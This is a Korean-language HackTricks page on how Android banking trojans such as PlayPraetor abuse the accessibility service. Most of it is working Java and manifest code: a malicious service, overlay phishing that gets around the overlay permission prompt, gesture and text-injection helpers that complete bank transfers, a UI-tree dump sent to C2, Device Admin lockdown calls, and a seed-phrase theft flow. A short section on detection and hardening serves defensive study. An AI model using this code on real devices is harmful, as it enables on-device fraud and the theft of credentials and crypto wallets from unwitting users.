Android 접근성 서비스 악용
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
AccessibilityService는 장애가 있는 사용자가 Android 장치와 상호작용하도록 돕기 위해 만들어졌다. 불행히도, 동일한 강력한 자동화 APIs (global navigation, text input, gesture dispatch, overlay windows…)은 악성코드에 의해 악용되어 휴대폰을 루트 권한 없이 완전 원격 제어할 수 있다.
최근의 Android 뱅킹 트로이목마 및 원격접근 트로이목마(RAT)들인 PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda 등은 같은 방식을 따른다:
- 피해자가 악성 접근성 서비스를 활성화하도록 사회공학 기법을 사용한다 (BIND_ACCESSIBILITY_SERVICE 권한은 "고위험"으로 간주되며 명시적인 사용자 동작이 필요하다).
- 서비스를 이용하여
- 화면에 표시되는 모든 UI 이벤트 및 텍스트를 캡처한다,
- 운영자가 원하는 작업을 자동화하기 위해 합성 제스처(
dispatchGesture)와 글로벌 액션(performGlobalAction)을 주입한다, - TYPE_ACCESSIBILITY_OVERLAY 윈도우 타입을 사용하여 정상 앱 위에 전체화면 오버레이를 그린다 (
SYSTEM_ALERT_WINDOW프롬프트 없음! ), - 피해자를 대신해 시스템 다이얼로그를 클릭하여 추가 런타임 권한을 은밀하게 허용한다.
- 사용자가 전혀 이상하지 않은 화면을 보고 있는 동안 실시간으로 데이터를 유출하거나 **On-Device-Fraud (ODF)**를 수행한다.
권한 요청
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
동봉된 XML은 가짜 대화상자가 어떻게 보일지 정의합니다:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
원격 UI 자동화의 기본 요소
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
이 두 개의 API만으로 공격자는 다음을 수행할 수 있다:
- 화면의 잠금을 해제하고, 은행 앱을 열어 UI 트리를 탐색한 뒤 이체 폼을 제출한다.
- 표시되는 모든 권한 대화상자를 허용한다.
- Play Store intent를 통해 추가 APK를 설치/업데이트한다.
악용 패턴
1. Overlay Phishing (Credential Harvesting)
투명하거나 불투명한 WebView가 윈도우 매니저에 추가된다:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
피해자는 가짜 폼에 자격 증명을 입력하는 동안 백그라운드 앱은 동일한 제스처를 수신합니다 – "draw over other apps"와 같은 의심스러운 프롬프트는 전혀 표시되지 않습니다.
상세 예시: Tapjacking 페이지 내 Accessibility Overlay Phishing 섹션.
2. On-Device Fraud automation
PlayPraetor와 같은 악성코드 계열은 운영자가 고수준 명령(init, update, alert_arr, report_list, …)을 발행할 수 있는 지속적인 WebSocket 채널을 유지합니다. 서비스는 이러한 명령을 위의 저수준 제스처로 변환하여, 해당 기기에 연동된 다중 인증을 쉽게 우회하는 실시간 무단 거래를 수행합니다.
3. Screen streaming & monitoring
MediaProjection API를 RTMP 클라이언트 라이브러리와 결합하면, RAT는 라이브 프레임버퍼를 rtmp://<c2>:1935/live/<device_id>로 방송할 수 있어 Accessibility 엔진이 UI를 제어하는 동안 공격자에게 완전한 상황 인식을 제공합니다.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – 하드코딩된 목록을 순회하여 하나의 도메인이 활성 C2로
POST /app/searchPackageName에 응답할 때까지 반복합니다. - WebSocket (port 8282) – 양방향 JSON 명령:
update– 새로운 conf/APKs 푸시alert_arr– 오버레이 템플릿 구성report_list– 대상 패키지 이름 목록 전송heartbeat_web– keep-alive
- RTMP (port 1935) – 라이브 화면/비디오 스트리밍.
- REST exfiltration –
/app/saveDevice(fingerprint)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(bank creds)
로컬 엔진인 AccessibilityService가 이러한 클라우드 명령을 물리적 상호작용으로 전환합니다.
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services- Settings → Accessibility → Downloaded services – Google Play에서 배포되지 않은 앱을 확인하세요.
- MDM / EMM 솔루션은 사이드로딩된 서비스를 차단하기 위해
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+)를 적용할 수 있습니다. - 실행 중인 서비스를 분석:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- 민감한 뷰에
android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+)를 표시하세요. setFilterTouchesWhenObscured(true)를FLAG_SECURE와 결합하여 tap/overlay hijacking을 방지하세요.WindowManager.getDefaultDisplay().getFlags()또는ViewRootImplAPI를 폴링하여 오버레이를 탐지하세요.Settings.canDrawOverlays()또는 신뢰되지 않는 Accessibility 서비스가 활성화되어 있으면 동작을 거부하세요.
ATS automation cheat-sheet (Accessibility-driven)
Malware는 Accessibility APIs만으로 은행 앱을 완전 자동화할 수 있습니다. 일반적인 원시 동작:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
예시 흐름 (체코어 → 영어 레이블):
- "Nová platba" (새 결제) → 클릭
- "Zadat platbu" (결제 입력) → 클릭
- "Nový příjemce" (새 수취인) → 클릭
- "Domácí číslo účtu" (국내 계좌번호) → 포커스 및
ACTION_SET_TEXT - "Další" (다음) → 클릭 → … "Zaplatit" (지불) → 클릭 → PIN 입력
대체: 텍스트 조회가 커스텀 위젯 때문에 실패할 때 하드코딩된 좌표와 dispatchGesture 사용.
또한 관찰됨: limits UI로 이동하여 이체 전에 일일 한도를 늘려 check_limit 및 limit에 대한 사전 단계를 수행.
텍스트 기반 유사 스크린 스트리밍
저지연 원격 제어를 위해 전체 비디오 스트리밍 대신 현재 UI 트리의 텍스트 표현을 덤프하여 반복적으로 C2로 전송한다.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
이것은 txt_screen (일회성) 및 screen_live (지속적) 같은 명령의 기반입니다.
Device Admin 강제 수단
Device Admin receiver가 활성화되면, 이러한 호출들은 자격 증명을 캡처하고 제어를 유지할 기회를 증가시킵니다:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
참고: 이러한 정책의 정확한 적용 가능성은 Android 버전과 OEM에 따라 달라집니다. 테스트 중에는 디바이스 정책 역할(admin vs owner)을 확인하세요.
암호화폐 지갑 시드 문구 추출 패턴
MetaMask, Trust Wallet, Blockchain.com 및 Phantom에서 관찰된 흐름:
- 도난된 PIN(overlay/Accessibility를 통해 캡처) 또는 제공된 지갑 비밀번호로 잠금 해제.
- 이동: Settings → Security/Recovery → Reveal/Show recovery phrase.
- 텍스트 노드를 keylogging으로 수집하거나, secure-screen bypass를 이용하거나, 텍스트가 가려져 있을 때 screenshot OCR로 스크린샷을 통해 문구를 수집.
- EN/RU/CZ/SK 등 다국어 로케일을 지원하여 셀렉터를 안정화 — 가능하면
viewIdResourceName를 우선 사용하고, 없으면 다국어 텍스트 매칭으로 대체.
NFC-relay orchestration
Accessibility/RAT 모듈은 3단계로 전용 NFC-relay 앱(예: NFSkate)을 설치·실행할 수 있으며, overlay 가이드를 주입해 피해자가 카드-프레젠트 릴레이 단계를 수행하도록 유도할 수 있습니다.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks